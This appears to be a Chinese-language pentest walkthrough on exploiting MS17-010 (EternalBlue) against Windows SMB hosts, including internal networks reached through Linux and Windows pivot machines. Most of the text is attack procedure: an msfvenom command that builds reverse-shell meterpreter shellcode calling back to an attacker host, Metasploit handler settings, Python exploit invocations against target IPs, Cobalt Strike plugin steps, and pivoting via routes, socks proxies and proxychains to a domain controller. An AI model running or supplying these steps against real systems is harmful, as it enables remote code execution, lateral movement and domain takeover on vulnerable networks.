MS17010利用方式
前提
445端口是否开放,以及是否存在防火墙
利用方式
一,MSF(老生常谈)
模块exploit/windows/smb/ms17_010_eternalblue
其余的模块需要命名管道,不一定可以用,此模块使用不成功时候,可以尝试使用其他模块。同一网段选择正反向payload均可,不同网段,建议使用正向payload
二,py脚本
生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.18 LPORT=1111 -f raw > shellcode
msf监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0,0,0,0
set lport 1111
run
运行py脚本
python3 ms17-010.py --host 192.168.0.28 --file shellcode
多运行几次py脚本即可接收到会话
三,py脚本(github地址)
1,首先安装库文件
pip3 install -r requirements.txt
到shellcode文件夹下
为shell_prep.sh
添加权限并运行
输入y
输入攻击机的IP
和端口
利用程序提供了两种方式(msf会话,cmd会话),简单的说就是可以使用msf连接,也可以使用nc进行连接,接下来就是选择是否为分阶段执行,这里选择1进行使用
四,cs插件
添加插件,设置监听,由于这个插件是在已有的cs会话上建立的攻击,这里进行web投递进行攻击,获取主机普通用户权限,设置0延时
右键选择pwn–>ms17010 输入自己想要攻击的ip以及回连listener,attemps选择1,接受一次回连seesions即可
即可获取到system会话
内网环境利用
搭建域环境需要关闭防火墙,所以内网中的存在漏洞的主机均可直接利用
环境一
跳板机为linux
kali(192.168.157.13)
linux(192.168.157.34,192.168.183.120)
DC(192.168.183.130)
第一种方法,msf添加内网路由,payload选择正向,执行exploit/windows/smb/ms17_010_eternalblue
第二种方法,msf添加socks代理,使用proxychains运行py脚本,shellcode选择跳板机linux闲置端口进行cmd会话,上传正向exe并运行,msf连接即可
环境一
跳板机为win7
kali(192.168.157.13)
linux(192.168.157.34,192.168.183.120)
DC(192.168.183.130)
第一种方法,msf添加内网路由,payload选择正向,执行exploit/windows/smb/ms17_010_eternalblue
第二种方法,msf添加socks代理,上传nc至跳板机上,使用proxychains运行py脚本,shellcode选择跳板机linux闲置端口进行cmd会话,上传正向exe并运行,msf连接即可
第三种,cs方法,在跳板机上部署vpn,本地创建内网闲置主机ip网卡,创建监听,使用cs插件,在跳板机上攻击内网主机,listener选择自己新创建的ip地址即可
演示
部署vpn
添加主机ip
sudo ifconfig phear1 192.168.183.125/24
添加监听
使用cs插件攻击利用即可,注意,协议一定要相同,
注意:
由于个人msf的ms010模块没有利用成功过,将内网主机的445端口转发到跳板机上,使用msf正向攻击,或许可以成功
缺陷
msf经常利用失败,ms17010.py失败率也很高,建议使用github的利用程序
除msf外其余利用程序均不能使用正向的方式进行连接
py脚本使用cs生成的raw格式文件会直接将目标机打蓝屏
跳板机为其他版本windows时,可能会无法通过部署vpn的方式反弹shell
其他
cs自带的中转监听或者smb监听均无法当做ms17010回弹之后的listener
k8gege的ksmb利用程序,我没有,所以没有进行测试,希望有其他思路的大佬不吝赐教,能白嫖ksmb利用程序就更好啦,谢谢